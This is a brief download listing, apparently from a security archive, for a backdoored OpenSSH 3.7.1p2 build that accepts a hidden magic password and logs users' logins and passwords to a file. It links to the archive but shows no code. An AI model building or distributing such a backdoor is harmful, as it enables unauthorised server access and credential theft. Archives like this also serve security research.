Backdoored version of OpenSSH 3.7.1p2 that uses a magic password referenced via an md5 hash in a file, logs logins and passwords to a specified file, and can run without the backdoors being active.
You can download it from the following link: https://packetstormsecurity.com/files/download/31724/0x333openssh-3.7.1p2.tar.gz
Source: https://packetstormsecurity.com/files/31724/0x333openssh-3.7.1p2.tar.gz.html